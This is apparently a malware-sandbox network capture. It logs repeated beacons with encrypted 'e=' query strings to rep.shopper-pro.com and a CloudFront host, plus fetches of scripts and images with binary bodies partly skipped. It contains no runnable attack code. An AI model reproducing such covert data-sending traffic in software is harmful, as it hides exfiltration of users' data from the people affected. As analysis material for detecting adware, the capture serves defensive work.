GET /app/ping.ashx?e=4OQPU60dJ1p7JuQ3F68GrH9O0otda/hw 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0d7HEv67ptHclD/oBpUX5crnl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl649ZSYKlZMcGijca/6c/zCZgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=2fVCHF6kf8ix1kvX9v50CNPb6VqkTtVAt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5P SvOeUcIx3u0QqJYE95/qdskpjA9 6EOuwYdYyOW/5psrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib/Af3G/vGj8k59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguwJzH U4 RaKau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 20
14 16:43:40 GMT..Content-Length: 0......


GET /app/ping.ashx?e=EneY65zUkfnl5P4ZQPu3v0G9rQ QAxulTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhTzSgP4V/bWW5oK pVHWIfpptXsS4sCYa6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNTCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFVRSLihSrTtvR8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:42 GMT

Content-Length: 0
....



GET /p.ashx?e=b1dRW7RxYKfUIwSieNK cB3DZvRfP/q4vMo6MfIMSUkDt2EUeZbtRVRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pHO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJxGRiB4dTuGZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: r04UfL0x3q-vFCo5WF_NHeTlOh_ZRVNTCDNTTcqCeNAdJf9rRwbMFQ==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1Xb8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcnEZGIHh1O4ZnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:31 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SjcnqHZ19Z_N7ocxh3SnqdK65eJG52Wq6rFikf2pzpJtddIOVMvO_g==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1XZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:31 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ke2TUIW__DpvPGsntU1T80Htezs8Jh-oLWyvrbv4rHaUKMQr2x-TIw==
....


GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaHfpIi4FJmsuCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUmu70Zn8oNJ1F18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH RaqEz5fUGu62n HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Gr85mWCA0Ooa0u-cN8IVHP-ALYkIIllC7fsj8rdLWT_J_Z4YQacDtQ==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1VDLf  a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nOEd16zoXFb238LRhu6LyXY2jZH51aaSrQ7r9ulHMirvHedfW6eoog==
....


GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:31 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KNDzAzgrTtGXdYJNy-tQgYiddC6MhQ7A3QyMWHahtUPG2DYcv3q3HA==
....


GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaGw5VIziNxXAbPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcmpjZ9ZM0UvM= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u-JflpUMKoVKRrZtxhI4NPHIVYn3fmPSjOPDZu92MGkB5y_6wITU6w==
....


GET /p.ashx?e=KC46TpkJIZzYLhsRuGeUaYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBpZ3XZNefBgEDtEWP dDLpw1hPyYdCW3i9D7x47MWfVCDj5NXDSx11t4Fjm69sEZL2tWx7/srhmagVA64mRE6a8LxmIYyalAJYtrOl7BfDWDUfdXri6zRTOzV4mKJhjCiOBvq/txek 3JlAY5gBXNZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lik87QqvLdcywtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CxmvmlWOp4wNWYOGsx9wjVbvhP0Cuov-nlkinuP2-3z7p9tQX5RMUw==
....


GET /p.ashx?e=FwW11b 20b7l5P4ZQPu3vyElVDRhG6 31VMaOJFqXYpp96vRIJy/LjtUHaZBOE lqMllLKkwzRiwtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hJvg3usbvS7ynAewE2HC8lb1IajUzQ9fLSFtyY7j2bypd/XCztdoPbLEKmHddSTlr6/u6Si5KcyuceLsPpRf2XIu YgVzu615DVQk8gY3vhjLU53ymgmCuYBFRnMEda9p4WxxpEsV7ZC4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TrTVAqMLJ88knVOscVgo-f644WarVwnRPTUmi7dsn1FHggzY8FdHGw==
....


GET /p.ashx?e=WL9usJOVMsOEyHZoFFyrCIcg35BtfIaeih/Vr5yzwjmMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBpZ3XZNefBgEDtEWP dDLpw1hPyYdCW3i9D7x47MWfVCDj5NXDSx11t4Fjm69sEZL2tWx7/srhmagVA64mRE6a8LxmIYyalAJKZ41CPq3IASqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXS ahcxApTUqpeWXj2a4Yc1TzSgP4V/bWUdn9GqH JvYrNszNzik7HYYan0yy1LdwNMNN2yVHejOoCpRmhVhpiryifqW1 X10MPbd g7bCnnYV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NuKR8IfIu9kNYPBarXZm8g-RsMuJWlvznkH_rw2i8J4q1ZYxMWJoyg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:38 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 0b56f1ff7267ce27c777b1b0b4058a
aa.cloudfront.net (CloudFront)..X-Amz-Cf-Id: NuKR8IfIu9kNYPBarXZm8g-Rs
MuJWlvznkH_rw2i8J4q1ZYxMWJoyg==......


GET /p.ashx?e=eISsn0A7mAY luBT5UotGCWqRVUESB2PWRJHy18FaUd4E7mrr1h80v8gl1CzC7piUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5IjhINkhtyPzBaw9/EHkCQJZwiPBAxskT9/MTFX4VLoIFOWcp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YnIbPhwWcBbYEzwYOPKny9OOM6ARZkUZcsGJa6tEPPiu28hKnkA-pA==



GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/js/scripts.js.pagespeed.jm.I_RPxsiRE08xV8BTmz_B.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: application/x-javascript

Date: Wed, 17 Dec 2014 16:04:39 GMT

Expires: Wed, 16 Dec 2015 18:25:42 GMT

ETag: W/"0"

Last-Modified: Tue, 16 Dec 2014 18:25:42 GMT

X-Page-Speed: 123_1_rr

Content-Encoding: gzip

Content-Length: 326

X-XSS-Protection: 1; mode=block

Age: 2586

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
...........R.j.!.~....."=.J.!4.>..w.J\.....w...M.MB)EA.o....T..B..e
.9%.. t..kt.qe...1....0.<..\..;..=_.O...T.M.;...TOJ-.&gx.....(].2f.
.......0Y4..>......xi7y.L...x../&......./M.L.4y.!...2......P...M..;
......eeJ.=.....BK.?.!.B_...4u.....t.$.._..cY.Sq.r.k.En...f..T.3.n..!f
.,.l.|....|... ....L(.....E..X.........k8#......-.M^.......


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/banner/images/assets/c/1/303x148xc16ddcefe8d9f0d1f850dfcd8f36687d.jpg.pagespeed.ic.lwAL2oq89B2IQKWYablA.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:34:00 GMT

Expires: Thu, 10 Dec 2015 22:43:53 GMT

ETag: W/"0"

Last-Modified: Wed, 10 Dec 2014 22:43:53 GMT

X-Original-Content-Length: 59629

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 16203

Age: 825

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......JFIF.............C..............................................
!........."$".$.......C...............................................
........................../.."........................................
.........................................$1.N~2[[email protected]@.z.
'%..0.a$_...3......8.%...KH.I$.u"v .a....."......jL..:.R.Wic.Z#Z....[.
R...-..O.y0.2..~.....z.\,m...N..uK.Y..I.z.i.....7d...j.Ox}7...k.......
....C^.9\-.[.....o.W.. ..G0...]..........e..l....Z..M.{{...m..#.1.....
a..5;...X=G.....v^_?_HX.Y.N....e.......I..:N...t.hr......s..3.~..iyW..
s.~..K.&_W.{..ZX?-.....%'|..7IW...c..=..s.. ..E.g8..#.....,....R....:.
..:.(....[b.=B2....^.UoF..(......\..v.x@..<`..o....T.../..].i^.....
.P(.8.{.f(.LK.........h..V..w.....2.>....\...._.u [..r.I.;.r.......
V5!.../S.}M6_..a...e.=n..T.1;"F/O.....  ...h....l..gcf`[9.Ss...y..Rn_.
.M..r5....?.E.j.....n..Z..<......Q...O.yY.Q.b...8..W.gj=..^..bb...w
..:.L.b....a.....[.[............E..e.(E_G..b~,......B..=....^.g2..[D..
.............2%.k$I./........p.....T..I.. o....a6..6..U..z..$..@.@.@.@
.@.@.@.@.@.@.@.@.@.@.@.@.@[email protected]..............................!"%# $5P
12.34............QV.....9n.....S.e...11..,..z....%...u....k-.*..^B....
\gTgL.':.:.$f>.Y....V.\r.].U....5.,.".W...{M_...Ju-z...x.i.........
;.^...T.w..... .P........T.>.W...G....A..'...TL...=...5...N.r....S.
.6&..<.G.X.F...k.......x....%TSc.\..z.B7t...h.Q......=yw....;..G...
...3Ui\.V......Kb..\.#6 ..via|..eU.......^zvG...|.-..P).LuQe.......R1.
.r...D.........>..|....e=.....{.\Z...?.aP.*..oj...... .:.....2#
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/banner/images/assets/1/f/303xNx1f8ffa22b53dfc2f6b7f1850bb6b73e8.png.pagespeed.ic.tFX8jwo12PDh1bULrFCd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:47 GMT

Expires: Sun, 13 Dec 2015 23:25:32 GMT

ETag: W/"0"

Last-Modified: Sat, 13 Dec 2014 23:25:32 GMT

X-Original-Content-Length: 173932

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 68229

Age: 2578

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR.../.........M.8... .IDATx..}..%..vU.u..;.> ....,..
H ....8........O^.E !.#.;.,..........u....;B.".o3..[.....s.s..)....flp
..%6...B'`......~.g...I.......{.gg..U%6.K.........../,.....%.$.O.._A.C
.DA.8.e8.e9......R.(...P..\L...q..H.Z.B....\.p...}Qa....x..........A[K
...HP@...'....J..a^....|[email protected].~..?........T............4..#..
.......{.......M[4d.E..u....'Qw...M...0...0...6\...>.\.Kp..s/".m..[
......>C..B.U..mF-.R..1..e......2,...-...9:.....&).V..i.Z...H..p.2.
.a...t...("H...4.d3.D2...$.4..Z.!H.#.$.t.T7. .c.\...2..X.X.8....i...I.
F^P..e.....p...../.n..a..Jua.K,Kv/Y.E..e./=....li2|....W.1.......)....
.o..W........v..,...2..| ..o.0v..JUZ(..N.(.. ..gCXN..~o.c.b..d2...tZ.A
'......o.A7.yU.4....*.fs.L6...,..#.x,..X.6.U..a8&kd....`8>..'X.....
8.....pa..M....p..f....|.K`........</-...[..Z....%....8...x./..=..W
....o].V.... w.0g..].i.;...O(.$.......x.....4d.H......\....*/.%..2....
Q..?.Me..D^..*..(..4.....N...S.,.j"..x|....e..c..N..BR$..C}.....u..kp.
I.O....#..-.g.\...y.i......Q..}F~&.......T0O......zJ.Q.y(-(.$x..J`....
[^[email protected]..}..1.n.]..A...BA5....".K.G..V;o=J.....
.....2...gH.-.<y..Ne2.L2..i4u.... .s.......&S\[email protected]:.
...zI.[.H..C........3..r.....Y..p6 ..0.P..i..<.c......<.Q)g.TZb.
...Q.j..9?..[.m ".......v...i....EY..(....c?.......W_..].X.2....C&..i.
BB...Qp.!aq....}..`q...dL....E..J..b;I).t.....q.p ..FJ..%E..".V.F....@
a.VX.jo..Ho'.i. .....Tq..l.....@.;.........F(.,g.T.......X.K!..V.K.V..
.]u.......(..X1...4WoC.....@1)JA.s.1."..D...k..lX.1l.dxY.{):......
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/0/7/78x78x07fce0a4ff78cc7e6376e227f046ce06.png.pagespeed.ic.hz09jctHczLz0PvLD0tH.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:40 GMT

Expires: Tue, 15 Dec 2015 22:29:21 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 22:29:21 GMT

X-Original-Content-Length: 514647

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 2585

Cache-Control: max-age=31536000

Content-Length: 514153

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx...i.m.u..u.y:...}..7. .Q. .
T$..l.)..eW9N....r~..C.JU"....J.C..r...YTlY%k.%R$DR.@. ......w>..g.
.....| ...$.....S.w........V.^...... ....B .......q.._.7.: > ....[.
\..-!D.../.....m^....o|.k.~C.......u....R......[......{`.......9......
...0...n.w|..1...V......2/...3^O.7.....-:..}........Wn......B.|......u
...W....w...... ....^M..>... :.Ko...k..W..z..u.....W.!^..Wn.....z_.
.ud^m.y............:m^W.5..~E.6..A.o.yY. ..c.....;....}.o#.-..........
oW~..^.....N....)B..pM....y!.g..................7...\N8...N8..?.......
.7.5.I............q=...;./.?vb.O8...N8./[email protected].
..N8..7..}[|..m..l.w#|..,......O8...N8.{..}..........8...}'.|..'.p....
..........S...8....N8...N..%..6......?...'mz..'.p....@<`._.........
.;.o..._....q...&GG4Msr:...H..9..^.{.p..5.2,k.rN..".}...|...N..;f.....
 .Z...l^[email protected]....{P`.KJ."@S...B\.9.6..q)...3B........Z..
@.%....M..X...A.8(......"9.z.6.........0.m.g._%..&.F...1....1........S
......y..u..^.DG.....z....l..9.......{....`U!^o.,l..Yt.a6..f.uBsf..m..
Bf.x.....74.b.kZ.X6.6......3..g.4.X.[.e.....p.`-..x.SFL..|.....o?.~..f
c....f..G08.....%.P..K.<'.5...,..m.]\'x.s8.C}...Y4.M...!J}.w....,F.
.........e.cm&X.-.O|...?..;.Gl^@>{..{_fq.=..YS.o VR..&...A^...}l...
h...!uo....m&.........d=&......9.x[ d.....m.......... |.4.%....f..x.1.
